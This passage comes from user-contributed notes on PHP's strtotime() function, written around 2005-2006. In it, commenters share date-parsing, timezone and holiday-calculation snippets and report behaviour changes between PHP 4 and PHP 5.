               $currentDay = ($number >= 0) ? $currentDay + 1 : $currentDay - 1;
               if ($currentDay > daysInMonth($currentMonth, $currentYear) || $currentDay < 1){
                   $currentMonth = ($number >= 0) ? $currentMonth + 1 : $currentMonth - 1;
                   if ($currentMonth == 13){
                       $currentMonth = 1;
                       $currentYear++;
                   }
                   if ($currentMonth == 0){
                       $currentMonth = 12;
                       $currentYear--;
                   }
                   $currentDay = ($currentDay < 1) ? daysInMonth($currentMonth, $currentYear) : 1;
               }
           }
       break;
   }
   //iso 8601 requires zero padding for years between -999 and 999
   $currentYear = toIsoYear($currentYear);
   //iso 8601 requires zero padding for months & days < 10
   $currentMonth = toIsoMonthDay($currentMonth);
   $currentDay = toIsoMonthDay($currentDay);
   //parsed date
   $parsedDate['year'] = $currentYear;
   $parsedDate['month'] = $currentMonth;
   $parsedDate['day'] = $currentDay;
   //iso 8601 date output
   $newDate = "$currentYear-$currentMonth-$currentDay";
   return $newDate;
}
Alexander Vasarab
17-Mar-2006 12:48
I'm not sure whether I've overcomplicated this example, but here is my shot at the perfect timezone class. Upon construction, it takes the users timezone (perhaps a setting pulled from a database or session) and the timezone in which the server is located, and the MySQL datetime to be localized. So, for example, if you make a news post to your website at 11:30AM in EST (-5), and a user which is located on the west coast of the US (PST -8) views your website the post time will be displayed in THEIR time (8:30AM). The date() format can be customized as a second parameter of the convert function. Works with any standard timezone. Hopefully, this will save somebody time in the future.

<?php

class timezone {
   var $user_offset;
   // users timezone location
   var $default_offset = -6;
   // default server timezone location, in this case, US Central Time (-6)
   var $difference;
   var $datetime;

   function timezone($user_offset, $default_offset = NULL) {
       $this->user_offset = $user_offset;
       if(isset($default_offset)) $this->default_offset = $default_offset;
       $this->difference = ($this->user_offset - $this->default_offset);
       // determine the difference between the users timezone and the servers
   }

   function convert($datetime, $format = 'M j, Y \a\t g:iA') {
       $this->difference = (($this->difference >= 0) ? '+' : '') . $this->difference;
       // add a + in front of the difference if positive
       if(eregi('.5', $this->difference)) $difference = substr_replace($this->difference, '', -2, 2) . ' hours +30 minutes';
       // account for a timezone with .5 in it
       else $difference = $this->difference . ' hours';
       $this->datetime = strtotime($datetime);
       $timestamp = strtotime($difference, $this->datetime);
       return date($format, $timestamp);
   }

}

   /*
   All possible timezones that will work with this class:
   array(-12, -11, -10, -9, -8, -7,
       -6, -5, -4, -3.5, -3, -2, -1,
       0, 1, 2, 3, 3.5, 4, 4.5, 5, 5.5,
       6, 7, 8, 9, 9.5, 10, 11, 12);
   */

   $users_timezone = 1;
   // could be stored in a database or $_SESSION
   $date = '2006-03-16 06:16:33';
   // a date/time in US Central Time (CT -6)
   $timezone = new timezone($users_timezone);
   // create an instance of class timezone
   print $timezone->convert($date);
   // returns "Mar 16, 2006 at 1:16PM" to somebody in Paris

?>
Ethilien
14-Mar-2006 11:06
If you are using a version of php before date_default_timezone_set() was added, and you want to get a date in GMT, use this function.

<?php
function gmstrtotime ($s)
{
   $t = strtotime($s);
   $zone = intval(date("O"))/100;
   $t += $zone*60*60;
   return $t;
}
?>
Jae Lee
22-Feb-2006 08:16
To parse UK format of date, just call parseDate( "10/2/2006", "%d/%m/%Y" )

#-----------------------------------------------#
# Purpose  : Returns a timestamp from a string based on the given format and default timezone if it's ambiguous.
#
# Supported formats
#
# %Y - year as a decimal number including the century
# %m - month as a decimal number (range 01 to 12)
# %d - day of the month as a decimal number (range 01 to 31)
#
# %H - hour as a decimal number using a 24-hour clock (range 00 to 23)
# %M - minute as a decimal number
#

function parseDate( $date, $format ) {
   // Builds up date pattern from the given $format, keeping delimiters in place.
   if( !preg_match_all( "/%([YmdHMp])([^%])*/", $format, $formatTokens, PREG_SET_ORDER ) ) {
       return false;
   }
   foreach( $formatTokens as $formatToken ) {
       $delimiter = preg_quote( $formatToken[2], "/" );
       $datePattern .= "(.*)".$delimiter;
   }

   // Splits up the given $date
   if( !preg_match( "/".$datePattern."/", $date, $dateTokens) ) {
       return false;
   }
   $dateSegments = array();
   for($i = 0; $i < count($formatTokens); $i++) {
       $dateSegments[$formatTokens[$i][1]] = $dateTokens[$i+1];
   }

   // Reformats the given $date into US English date format, suitable for strtotime()
   if( $dateSegments["Y"] && $dateSegments["m"] && $dateSegments["d"] ) {
       $dateReformated = $dateSegments["Y"]."-".$dateSegments["m"]."-".$dateSegments["d"];
   }
   else {
       return false;
   }
   if( $dateSegments["H"] && $dateSegments["M"] ) {
       $dateReformated .= " ".$dateSegments["H"].":".$dateSegments["M"];
   }

   return strtotime( $dateReformated );
}
federico at nextware dot it
20-Feb-2006 08:38
This a simple multi process application where you can choose
the maximun process that can run at the same time.
This is useful when you need to limit the fork of process.
When the MAXPROCESS is reached the program wait on pcntl_wait()
<?

DEFINE(MAXPROCESS,25);

for ($i=0;$i<100;$i++){

   $pid = pcntl_fork();

   if ($pid == -1) {
       die("could not fork");
   } elseif ($pid) {
               echo "I'm the Parent $i\n";
       $execute++;
       if ($execute>=MAXPROCESS){
           pcntl_wait($status);
           $execute--;
       }

   } else {

       echo "I am the child, $i pid = $pid \n";
       sleep(rand(1,3));
       echo "Bye Bye from $i\n";
       exit;
   }

}
?>
darb dot 10 at osu dot edu
14-Feb-2006 06:29
PHP 5.1.1

the strtotime function will add 1 day to any leap year date prior to the 1969 cutoff.
Paul Wib
26-Jan-2006 09:37
Slight tweak to ScottB's function for UK dates below. Accounts for when a year isn't provided:

function strtotime_uk($str)
{
   $str = preg_replace("/^\s*([0-9]{1,2})[\/\. -]+([0-9]{1,2})[\/\. -]*([0-9]{0,4})/", "\\2/\\1/\\3", $str);
   $str = trim($str,'/');
   echo "Converted to UK date: $str<br>";
   return strtotime($str);
}

As strtotime, if the year isn't provided it will default to current year:

strtotime_uk("13/11"); // 13th November, UK-style
kturner at kgt dot net
25-Jan-2006 02:18
It looks like in the latest release of PHP 5.1, when passing to strtotime this string "12/32/2005", it will now return the date "12/31/1969". (The previous versions would return "1/1/2006".)
matt at australiangamer dot com
18-Jan-2006 08:32
Regarding the previous post on strtotime() being used to convert mysql datetime strings, I agree that this is not widely realized.

Part of the reason for this is that it is only a relatively recent addition. Prior to PHP 5.0, though it might have been an earlier version, strtotime() would return -1 on a mysql datetime string.

If you're on a server that doesn't have a recent PHP version test your result before assuming this one works.
jeremy at citiesunlimited dot com
12-Jan-2006 01:03
There doesn't seem to be enough documentation about this feature of strtotime(), but it can take a SQL datetime column and convert it to a unix timestamp.

For example:
<?php

$timestamp = strtotime('2006-01-10 16:09:30');
echo($timestamp);

// outputs: 1136930970
?>

This is useful with the Date() Function:
<?php

$timestamp = strtotime('2006-01-10 16:09:30');
echo date('n/j/Y g:i:sa', $timestamp);

// outputs: 1/10/2006 4:09:30pm
?>
shaver at qspeed dot com
12-Jan-2006 12:13
I'm posting these here as I believe these to be design changes, not bugs.

For those upgrading from PHP 4 to PHP 5 there are a number of things that are different about strtotime that I have NOT seen documented elsewhere, or at least not as clearly. I confirmed these with two separate fresh installations of PHP 4.4.1 and PHP 5.1.1.

1) Given that today is Tuesday: PHP4 "next tuesday" will return today. PHP5 "next tuesday" will actually return next tuesday as in "today +1week". Note that behavior has NOT changed for "last" and "this". For the string "last tuesday" both PHP4 and PHP5 would return "today -1week".  For the string "this tuesday" both PHP4 and PHP5 would return "today".

2) You cannot include a space immediately following a + or - in PHP 5. In PHP4 the string "today + 1 week" works great. in PHP5 the string must be "today +1 week" to correctly parse.

3) (Partially noted in changelog.) If you pass php4 a string that is a mess ("asdf1234") it will return -1. If you in turn pass this to date() you'll get a warning like: Windows does not support dates prior to midnight. This is pretty useful for catching errors in your scripts. In PHP 5 strtotime will return FALSE which causes date() to return 12/31/69. Note that this is true of strings that might appear right such as "two weeks".

4) (Partially noted in changelog.) If you pass php4 an empty string it will error out with a "Notice: strtotime(): Called with empty time parameter". PHP5 will give no notice and return the current date stamp. (A much preferred behavior IMO.)

5) Some uppercase and mixed-case strings no longer parse correctly. In php4 "Yesterday" would parse correctly. In php5 "Yesterday" will return the infamous 1969 date. This is also true of Tomorrow and Today.

6. The keyword "previous" is supported in PHP5. (Finally!)

Good luck with your upgrades. :)
 -Will
Mr Obvious
10-Jan-2006 10:10
@ nick at fortawesome dot co dot uk
regarding 'month' vs 'next month'

Not sure what version of PHP you found those results on, however with PHP 4.4.0,
<?PHP
$time1=strtotime('next month');
$time2=strtotime('month');
?>
produce the exact same result.
dean at earlsoft dot co dot uk
02-Jan-2006 04:40
I have recently had to handle parsing date strings without a year, which broke when the year rolled over.

Assuming the dates will always be in the past, you can use this to fall back to the previous year if the date is too far in the future:

<?php
$data = strtotime("26 dec");
print date("r", $data) . "\n";
if ($data > strtotime("+1 week")) {
  print "Too far in the future\n";
  $data = strtotime("-1 year", $data);
}
print date("r", $data) . "\n";
?>

This outputs:
Tue, 26 Dec 2006 00:00:00 +0000
Too far in the future
Mon, 26 Dec 2005 00:00:00 +0000
rajbirsingh_83 at rediffmail dot com
21-Dec-2005 01:14
To add two timestamps and reflect thier effect on the date.

code:-

$t =strtotime('+1 hours 50 min 50 second',strtotime("2005-12-21 23:10:15"));
$result = date("Y-m-d H:i:s",$t);
echo $result;

Rajbir
16-Dec-2005 09:31
Note that by default strtotime( ) considers the string time like a local time.
If your input string time is GMT/UTC do :

<?php
   $date = '2005-12-25 00:56:27 GMT' ; // Note the timezone specification
   $time = strtotime($date) ;
   echo date('d/m/Y H:i:s', $time) ; // $date will be correctly localized
   //  25/12/2005 01:56:27  for France
?>
ScottB
15-Dec-2005 05:36
strtotime assumes a US-style date in the format mm/dd/yy.  This function assumes a UK-style dd/mm/yy format, converts it to US-style and passes it to strtotime.

The date parts can be separated with slashes, hypens, dots or spaces.  Unambiguous dates such as "2005-05-04" or "4 May 05" pass through unaltered (they don't match the regex).

// Returns a timestamp from a string.  Assumes en_GB format where ambiguous.
function parsedate($value)
{
   // If it looks like a UK date dd/mm/yy, reformat to US date mm/dd/yy so strtotime can parse it.
   $reformatted = preg_replace("/^\s*([0-9]{1,2})[\/\. -]+([0-9]{1,2})[\/\. -]+([0-9]{1,4})/", "\\2/\\1/\\3", $value);
   return strtotime($reformatted);
}

e.g.
parsedate("13/11/05"); // 13th November, UK-style
parsedate("4/5/05"); // 4th May not 5th April
parsedate("13 nov 05"); // Unambiguous
parsedate("2005-11-13"); // Unambiguous
heinemann dot juergen at t-online dot de
10-Dec-2005 07:20
An Example to use strtotime for calculat all days from weeks of this month
<?php
function DaysFromMonth( $t )
{
   // NOTE strtotime only works with english time format
   setlocale( LC_TIME, "en" );
   $s = mktime( 0, 0, 0, date( "m", $t ), 1, date( "Y", $t ) );
   $e =  mktime( 0, 0, 0, date( "m", $t ), date( "t", $t ), date( "Y", $t ) );
   // getting days from last month with strtotime at first week
   $f = strtotime( "-" . ( strftime( "%u", $s ) - 1 ) . " day", $s );
   // getting days from next month with strtotime at last week
   $l = strtotime( "+" . ( 7 - strftime( "%u", $e ) ) . " day", $e );
   $a = array();
   foreach( range( $f, $l, 86400 ) AS $w ) {
     $a[date( "W", $w )][ strftime( "%u", $w ) ] = $w;
   }
   return $a;
}

function ConvertTime( &$i, $k ) {
   setlocale( LC_TIME, "de_DE" );
   $i = strftime( "%A %e, %B %Y", $i );
}

echo "<dl>";
foreach( DaysFromMonth( mktime() ) AS $k => $v ) {
   array_walk( $v, 'ConvertTime' );
   echo "<dt>Woche:" . $k . "</dt><dd>" . implode( "</dd><dd>", $v ) . "</dd>";
}
echo "</dl>";
?>
j dot parree at team-networks dot de
06-Dec-2005 09:21
In PHP 4.3.10(Suse Linux 9.2) strtotime() seems to sometimes resolve incorrect month values.
e.g.:
<?
   $day = strftime ("%d", strtotime("-$day days"));
   $month = strftime ("%m", strtotime("-$day days"));
   $year = strftime ("%Y", strtotime("-$day days"));
?>
Result: $month is sometimes: expected month-1

php.net bug-reporting systems says: "problem will be fixed in php5 not any londer in php4!".

Workarround in php4 to savely get the correct values for example above:

<?
   $date = strftime ("%d.%m.%Y", strtotime("-$day days"));
   list($day, $month, $year) = split('[/.]', $date);
?>
cbueno81[nospam]yahoo.com.br
16-Nov-2005 11:51
Criando uma lista com um intervalo de horas de forma dinmica.

Creating a time interval of a dynamic way.

<?php
$basetime = strtotime("06:00:00");
echo "<select name='timeinterval'>\n";
for ($i=0; $i<=34; $i++) {
  echo "<option value='".date("H:i:s", $basetime)."'>".date("H:i", $basetime)."</option>\n";
  $time = strtotime("30 minutes", $basetime);
  $basetime = strtotime(date("H:i:s", $time));
}
echo "</select>\n";
?>
Nathan
26-Oct-2005 10:03
The pluralization of "minute" or "minutes" for instance does not matter. In case you are dynamically using this function "+1 minutes" or "+2 minute" both do work.
nick at fortawesome dot co dot uk
26-Oct-2005 06:52
Note that strtotime('next month') will return 2 months from now, which may not be what you expect. strtotime('month') will do 1 month.
MonstersAndCritics.com
22-Oct-2005 06:11
Hi,

a simple function which returns the desired interval around the given timestamp as an array with the elements 'to' and 'from'. Possible intervals are: "minute", "hour", "day", "week", "month", "year". If the requested interval is "week", you can additionally provide the first_day_of_week.
<?php

   function time_to_interval($timestamp, $interval, $first_day_of_week="Sunday")
   {
       $interval_array = array();
       $interval_array['from'] = $timestamp;
       $interval_array['to'] = $timestamp;

       switch ($interval)
       {
           case "minute" :
               $from = date("Y-m-d H:i:00", $timestamp);
               $to = date("Y-m-d H:i:00", strtotime($from . " + 1 minute"));
               break;

           case "hour" :
               $from = date("Y-m-d H:00:00", $timestamp);
               $to = date("Y-m-d H:00:00", strtotime($from . " + 1 hour"));
               break;

           case "day" :
               $from = date("Y-m-d 00:00:00", $timestamp);
               $to = date("Y-m-d 00:00:00", strtotime($from . " + 1 day"));
               break;

           case "week" :
               $to = date("Y-m-d 00:00:00", strtotime("this $first_day_of_week", $timestamp));
               $from = date("Y-m-d 00:00:00", strtotime("last $first_day_of_week", $timestamp));
               break;

           case "month" :
               $from = date("Y-m-01 00:00:00",$timestamp);
               $to = date("Y-m-01 00:00:00", strtotime($from . " + 1 month"));
               break;

           case "year" :
               $from = date("Y-01-01 00:00:00", $timestamp);
               $to = date("Y-01-01 00:00:00", strtotime($from . " + 1 year"));
               break;
       }

       $interval_array['from'] = strtotime($from);
       $interval_array['to'] = strtotime($to);
       return $interval_array;
   }

# Use it like :
$timestamp = time();
$interval = time_to_interval($timestamp, "hour");
if ($mytime >= $interval['from'] && $mytime < $interval['to']){
// do something
}

?>
22-Oct-2005 02:00
In Leftward Shift's message, the strtotime function is not malfunctioning, the code is proper, the results are as expected providing you understand that varialbes will not be escaped (Replaced) from an inline single quote string.
(i.e. <?php 'next $weekday' ?> will be absolutely 'next $weekday' resulting in strtotime returning 0, and $now (Something other than 0) will always be greater than zero)

Either double quote it or put the weekday afterwards --
<?php
$Time = strtotime('next ' . $weekday, $Time);
?>
Leftward Shift, My Wayward Carry
12-Oct-2005 12:08
I had a partially-written PHP app I started on v4.2.*, and it relied on the pecular behavior of the 'next' keyword in strtotime(). But, when I upgraded to 4.4.0, certain pages caused apache to spin out of control (i.e, 90%+ CPU usage!) This is because the 'next' keyword behaves differently in versions after 4.3.0 (or perhaps even previous versions, see the changelog:
http://www.php.net/ChangeLog-4.php for more info.) I was testing in a while loop like so:

$weekday = "...some arbitrary weekday...";
$now = strtotime('now');
$prevtime = strtotime( ... some random past date ... );
while ($prevtime < $now) {
  ..do stuff..
  ..more stuff..
  $prevtime = strtotime('next $weekday', $prevtime);
}

that used to work, since 'next' would just add a week to $prevtime, but as of 4.3.0 (or perhaps the late 4.2.* series) next no longer works in this way, and this would cause an infinite loop to occur.

Instead, use '+1 week': in the above example, the last line inside the loop should be:
  $prevtime = strtotime('+1 week',$prevtime);

Just though I'd leave a note here if anyone else comes with the same problem!
Jake
11-Oct-2005 09:31
In case anyone is curious, it seems the date output:

date("l dS of F Y h:i:s A")

Is not parsable by strtotime. I wrote this to accomodate.

<?php

function strtotime_oddformat($datestring)
{
       $datepieces = explode(" ", $datestring);
       $newdatestring=$datepieces[1]{0}.$datepieces[1]{1}." ".$datepieces[3]." ".$datepieces[4]." ".$datepieces[5]." ".strtolower($datepieces[6]);
       return(strtotime($newdatestring));
}

?>
saverio dot caminiti at alfanet dot it
10-Oct-2005 04:08
This function is really useful.
But it always returns the minimum timestamp that match the input string. It should be even more useful to have a function strtointerval that return a two timestamps: the minimum timestamp that match the input and the maximum one.
For example:
- strtointerval(Dec 3 2004) should returns a minimum timestamp (0:0:0 Dec 3 2004) and a maximum one (23:59:59 Dec 3 2004).
- strtointerval(Dec 2004) returns 0:0:0 Dec 1 2004 and 23:59:59 Dec 31 2004
- strtointerval(2004) returns 0:0:0 Jan 1 2004 and 23:59:59 Dec 31 2004
And so on.

It should be also useful that strtointerval() parse English sentences like between A and B or [form] A to B where A and B are two valid input for the actual strtotime().

Starting from the source code of strtotime() it should be not difficult to implement strtointerval(), perhaps through a function strtoMAXtime() that generate the maximum timestamp instead of the minimum one, and then adding the English interval sentences support.

Thanks,
Saverio Caminiti.
Rob Allen
06-Oct-2005 05:34
Note strtotime() in PHP 4 does not support fractional seconds.

See http://bugs.php.net/bug.php?id=28717 especially if you happen to swap to ODBC for MS SQL Server and wonder what's happened!
Philippe Jausions -at- 11abacus.com
28-Sep-2005 11:55
The PHP 5.1.0 change is a major backward compatibility break.

Now, that the returned value on failure has changed, the correct way to detect problems on all PHP versions is:

<?php

if (($time = strtotime($date)) == -1 || $time === false) {
   die 'Invalid date';
}

?>

[red (derick): note, this is not 100% correct, as in this case 1969-12-31 23:59 will be thrown out as that timestamp is "-1"]
sholland at napervillegi dot com
29-Aug-2005 09:25
One behavior to be aware of is that if you have "/" in the date then strtotime will believe the last number is the year, while if you use a "-" then the first number is the year.

12/4/03 will be evaluated to the same time as 03-12-4.

This is in the gnu documentation linked to in the article.  I confirmed the behavior with strtotime and getdate.

Steve Holland
codepanda at yahoo dot com
24-Aug-2005 07:29
Building on OJW's comment concerning "stacking" the strtotime function to produce some quite useful results, I wrote this function to calculate the dates of various holidays commonly recognized in the US... it may not be elegant, there may be a better way, but it gets the job done

this was tested on PHP 4.4.0; federally recognized holidays were checked against the list located at http://www.opm.gov/fedhol (covers years 1997-2010, in case the link goes bad), Mardi Gras was checked for years 2003-2024 as found at http://www.mardigrasdigest.com/html/Mardi_Gras_future_dates_100.htm

<?
/* Function  : getHolidays()
** Parameters :
**    $year -- the year in question
** Return    : an associative array containing the holidays occuring in the given year
**    they key is a date stamp of the form Y-m-d, the value is the name of the corresponding holiday
*/
function getHolidays( $year ) {
   $return = array();

   // First off, the simple ones

   $return[$year . '-01-01'] = 'New Year`s Day';
   $return[$year . '-02-14'] = 'Valentine`s Day';
   $return[$year . '-06-14'] = 'Flag Day';
   $return[$year . '-07-04'] = 'Independence Day';
   $return[$year . '-11-11'] = 'Veteran`s Day';
   $return[$year . '-12-25'] = 'Christmas';

   // and now, the more complex ones

   // Martin Luther King, Jr. Day
   // third Monday in January
   $return[date( 'Y-m-d', strtotime( '2 weeks monday', strtotime( "January 1, $year" ) ) + 43200 )] = 'Martin Luther King, Jr. Day';

   // Presidents` Day
   // third Monday in February
   $return[date( 'Y-m-d', strtotime( '2 weeks monday', strtotime( "February 1, $year" ) ) + 43200 )] = 'Presidents` Day';

   // Mardi Gras
   // Tuesday ~47 days before Easter
   $return[date( 'Y-m-d', strtotime( 'last tuesday 46 days ago', easter_date( $year ) ) + 43200 )] = 'Mardi Gras';

   // Easter
   // the Sunday after the first full moon which falls on or after the Spring Equinox
   // thank god PHP has a function for that...
   $return[date( 'Y-m-d', easter_date( $year ) + 43200 )] = 'Easter';

   // Memorial Day
   // last Monday in May
   $return[date( 'Y-m-d', strtotime( '-1 week monday', strtotime( "June 1, $year" ) ) + 43200 )] = 'Memorial Day';

   // Labor Day
   // first Monday in September
   $return[date( 'Y-m-d', strtotime( 'monday', strtotime( "September 1, $year" ) ) + 43200 )] = 'Labor Day';

   // Columbus Day
   // second Monday in October
   $return[date( 'Y-m-d', strtotime( '1 week monday', strtotime( "October 1, $year" ) ) + 43200 )] = 'Columbus Day';

   // Thanksgiving
   // fourth Thursday in November
   $return[date( 'Y-m-d', strtotime( '3 weeks thursday', strtotime( "November 1, $year" ) ) + 43200 )] = 'Thanksgiving';

   ksort( $return );
   return $return;
}
?>
tero dot totto at kymp dot net
15-Aug-2005 02:49
When using multiple negative relative items, the result might be a bit unexpected:

<?php
$basedate = strtotime("15 Aug 2005 10:15:00");
$date1 = strtotime("-1 day 2 hours", $basedate);
$date2 = strtotime("-1 day -2 hours", $basedate);
echo date("j M Y H:i:s", $date1);  // 14 Aug 2005 12:15:00
echo date("j M Y H:i:s", $date2);  // 14 Aug 2005 08:15:00
?>

The minus sign has to be added to every relative item, otherwise they are interpreted as positive (increase in time). Other possibility is to use "1 day 2 hours ago".
baced2001 at freenet dot de
12-Aug-2005 07:55
if you'd like to create an ip- or cookie-based counter, you've to check the time passed since his last visit.

the first way is to save the current date&time and add the timeout while checking:

<?php
     function isTimedOut($tsLast, $intTimeoutSecs)
     {
       $tsTimeout = strtotime("+ " . $intTimeoutSecs . " seconds", $tsLast);
       return ($tsTimeout < mktime());
     }
     function TimestampToDBDate($ts)
     {
       return date("Y-m-d H:i:s", $ts);
     }

     // $last_visit <-- DB-Entry
     if (isTimedOut($lastvisit, 60*60*24))
     {
       // count !!!
       $last_visit = TimestampToDBDate(mktime());
       // $last_visit --> DB-Entry
     }
?>

and the second way is to add the timeout while saving the current time&date:

<?php
     function CreateTimeoutTimestamp($intTimeoutSecs)
     {
       return strtotime("+ " . $intTimeoutSecs . " seconds", mktime());
     }
     function TimestampToDBDate($ts)
     {
       return date("Y-m-d H:i:s", $ts);
     }

     // $next_count_date <-- DB-Entry
     if (mktime() > $next_count_date)
     {
       // count !!!
       $next_count_date = TimestampToDBDate(CreateTimeoutTimestamp(60*60*24));
       // $next_count_date --> DB-Entry
     }
?>
mjpalm21 at sample5 dot com
04-Aug-2005 05:12
I googled for a Unixtime Gateway and didn't find one - so I poped up this one:

http://sigmatrak.com/sample5/epoch.htm

Stupid simple but handy for me...

:-)
faress at NOSPAMMING dot PLEASE dot gmail dot com
29-Jul-2005 03:49
This is an quick correction to  ldbkutty at yahoo dot com
12-Apr-2005 06:21

he was trying to find a function that will let him add months to a date.

- tried
$myDate = strtotime("+1 month",mktime(0,0,0,1,31,2004));

This returns 2004-03-02 but I wanted the result as 2004-02-29. So, I noticed there is no equivalent function like setLenient as false and he wrote one that I corrected a bit because my installation did not have the cal_days_in_month() function (I used the date('t', $timestamp) to get the days in months for a particular year) .

Hope this helps someone.

<?php

function addMonthNoLenient($my_date, $add_month)
{
   $mid_month = 15 ;

   $day = date( "d", $my_date );
   $month = date( "m", $my_date );
   $year = date( "Y", $my_date );
   $hour = date( "H", $my_date );
   $minute = date( "i", $my_date );
   $second = date( "s", $my_date );

   $new_date_timestamp = mktime( $hour, $minute, $second, $month + $add_month, $day, $year);

   $month_for_days = ( $month + $add_month ) % 12;
   if( $month_for_days == 0 )
       $month_for_days = 12;

   if( $month_for_days != date( "m", mktime( $hour, $minute, $second, $month + $add_month , $day, $year ) ) )
   {
       $new_year = date( "Y", mktime( $hour, $minute, $second, $month + $add_month, $day, $year ) );
       $days_in_month = date('t', mktime( $hour, $minute, $second, $month_for_days, $mid_month, $new_year ) );
       $new_date_timestamp = mktime( $hour, $minute, $second, $month + $add_month, $days_in_month, $year );
   }

   return $new_date_timestamp;
}
?>

<?

  $your_date = mktime( 0, 0, 0, 1, 30, 2004 );
  $months_to_add = 25;
  echo date( "Y-m-d", addMonthNoLenient( $your_date, $months_to_add ));

?>
sales at chumpstump dot com
28-Jul-2005 10:33
I needed a drop down box so users could see their account balance for the given time period.  Below is a drop box that displays the first of the month for the last twelve months and the value of each is the timestamp of that date.

<?

$time = time();
$month = date("F");
$year = date("Y");
$string = "1 ";
$string .= $month;
$string .= " ";
$string .= $year;
$first_timestamp = strtotime($string);

$start_box = "<select name='start_date' size='1'><option>Start Date</option>";
$end_box = "<select name='end_date' size='1'><option>End Date</option>";

for ($i = 0; $i <= 12; $i++) {

$temp = "-";
$temp .= $i;
$temp .= " month";

$timestamp_first = strtotime($temp, $first_timestamp);
$formatted_first = date("F j, Y", $timestamp_first);

$box .= "\n<option value='";
$box .= $timestamp_first;
$box .= "'>";
$box .= $formatted_first;
$box .= "</option>\n";
}

$start_box .= $box;
$end_box .= $box;
$start_box .= "</select>";
$end_box .= "</select>";

?>

Once submitted it was very easy to pull from the db what you needed between the two timestamps.

I'm sure it could be condensed a bit, but the logic is there.  Hope this helps someone.

GG
dcahhNOSPAM at gmx dot de
15-Jul-2005 05:21
Maybe it saves others from troubles:

if you create a date (i.e. a certain day, like 30.03.2005, for a calendar for example) for which you do not consider the time, when using mktime be sure to set the time of the day to noon:

<?php
   $iTimeStamp = mktime(12, 0, 0, $iMonth, $iDay, $iYear);
?>

Otherwhise

<?php
   // For example
   strtotime('-1 month', $iTimeStamp);
?>

will cause troubles when calculating the relative time. It often is one day or even one month off... After I set the time to noon "strtotime" calculates as expected.

Cheers
Denis
timvw at users dot sourceforge dot net
13-Jul-2005 07:13
relative dates..

echo date('d F Y', strtotime('last monday', strtotime('15 July 2005'))); // 11th
echo "<br>";
echo date('d F Y', strtotime('this monday', strtotime('15 July 2005'))); // 18th
echo "<br>";
echo date('d F Y', strtotime('next monday', strtotime('15 July 2005'))); // 25th
Dan Libby
08-Jul-2005 05:55
This improves on safestrtotime() by returning -1 when the date is before 1902-01-01.  Otherwise it was returning bogus values for older dates.

   function safestrtotime ($s) {
     $basetime = 0;
     if (preg_match ("/(\d\d\d\d)/", $s, $m) && ($m[1] < 1970)) {
         if( $m[1] < 1902 ) {
           return -1;
         }
         $s = preg_replace ("/19\d\d/", $m[1]+68, $s);
         $basetime = 0x80000000 + 1570448;
     }
     $t = strtotime( $s );
     return $t == -1 ? -1 : $basetime + $t;
   }
ruben at wipkip dot com
28-Jun-2005 08:14
This is an easy way to calculate the number of months between 2 dates (including the months in which the dates are themselves).

<?

   $startDate = mktime(0,0,0, 6, 15, 2005);
   $stopDate = mktime(0,0,0, 10, 8, 2006);

   $nrmonths = ((idate('Y', $stopDate) * 12) + idate('m', $stopDate)) - ((idate('Y', $startDate) * 12) + idate('m', $startDate));

?>

Results in $nrmonths = 16.
rogier at patsfactor dot nl
20-Jun-2005 09:07
@brett at medeaproject dot co dot za

Slightly offtopic:
It might be easier to select the unix timestamp directly from MySQL, something like "SELECT UNIX_TIMESTAMP( mysqltimestampfield ) AS TIME" should render you little function obsolete.
yasingedikli at hotmail dot com
24-May-2005 08:45
You can get the beginn and end date from weeknumber !

function dateweek($weeknumber)
{
$x = strtotime("last Monday");
$Year = date("Y",$x);
$Month = date("m",$x);
$Day = date("d",$x);
if ($Month < 2 && $Day < 8) {
$Year = $Year--;
$Month = $Month--;
}
if ($Month > 1 && $Day < 8)
$Month = $Month--;
//DATE BEGINN OF THE WEEK ( Monday )
$Day = $Day+7*$weeknumber;
echo date('Y-m-d', mktime(0, 0, 0, $Month, $Day, $Year));
//DATE END OF THE WEEK ( Sunday )
$Day = $Day+6;
echo date('Y-m-d', mktime(0, 0, 0, $Month, $Day, $Year));
}

// THIS WEEK
dateweek(0);

// LAST WEEK
dateweek(-1);

// NEXT WEEK
dateweek(1);

// 4 WEEK THEN
dateweek(4);
Rene Leonhardt (rele at gmx dot de)
11-May-2005 08:48
Here is a slightly improved version of date_uk_to_american, posted by James McGuigan on 27-Dec-2004 08:31.
Now you can use the function to parse a date string (user input) to show, whether it was recognized correctly.

function date_uk_to_american($date, $replace_separator = FALSE) {
  $days  = '0?[1-9]|[12][0-9]|3[01]';
  $months= '0?[1-9]|1[0-2]';
  $year  = '\d{2}|\d{4}';
  $non_alpha = '[^0-9a-zA-Z]+';
  return preg_replace( "/^\s*($days)($non_alpha)($months)($non_alpha)($year)/", $replace_separator === FALSE ? '$3$2$1$4$5' : '$3'.$replace_separator.'$1'.$replace_separator.'$5', $date);
}

function parse_date($date) {
  return date("d.m.Y", strtotime(date_uk_to_american($date, '/')));
}

//example: echo parse_date('3.12.83');
not provided
11-May-2005 08:34
A shorter function for recognising dates before 1970 and returning a negative number is below. All it does is replaces years before 1970 with  ones 68 years later (1904 becomes 1972), and then offsets the return value by a couple billion seconds. It works back to 1/1/1902, but only on dates that have a century.

function safestrtotime ($s) {
       $basetime = 0;
       if (preg_match ("/19(\d\d)/", $s, $m) && ($m[1] < 70)) {
               $s = preg_replace ("/19\d\d/", 1900 + $m[1]+68, $s);
               $basetime = 0x80000000 + 1570448;
       }
       return $basetime + strtotime ($s);
}

Note that a negative number is stored the same as a really big positive number. 0x80000000 is the number of seconds between 13/12/1901 20:45:54 and 1/1/1970 00:00:00. And 1570448 is the seconds between this date and 1/1/1902 00:00:00, which is 68 years before 1/1/1970.
LittleZephyr at nillahood dot net
10-May-2005 04:49
Here's a quick one-line function you can use to get the time difference for relative times. But default, if you put in a relative time (like "1 minute"), you get that relative to the current time. Using this function will give you just the time difference in seconds:

<?php function relative_time( $input ) { return strtotime($input) - time(); } ?>

For example "1 minute" will return 60, while "30 seconds ago" will return -30

Valid relative time formats can be found at http://www.gnu.org/software/tar/manual/html_chapter/tar_7.html#SEC115
Ed Lecky-Thompson
27-Apr-2005 12:04
Here's a quick function which can replace strtotime, and will work fine on dates pre-1970 (i.e. it will return a negative number as expected).

This negative time stamp seems to be supported as an input parameter by methods like date() up to a point, but if you get crazy and start talking about dates in the 1700s (everybody was using PHP3 back then, of course) it gets upset.

For those of you doing staff databases and so forth, of course, this is probably fine - it's definitely OK for any dates post 1900, and this value has been hard coded into the function below.

   function safestrtotime($strInput) {
       $iVal = -1;
       for ($i=1900; $i<=1969; $i++) {
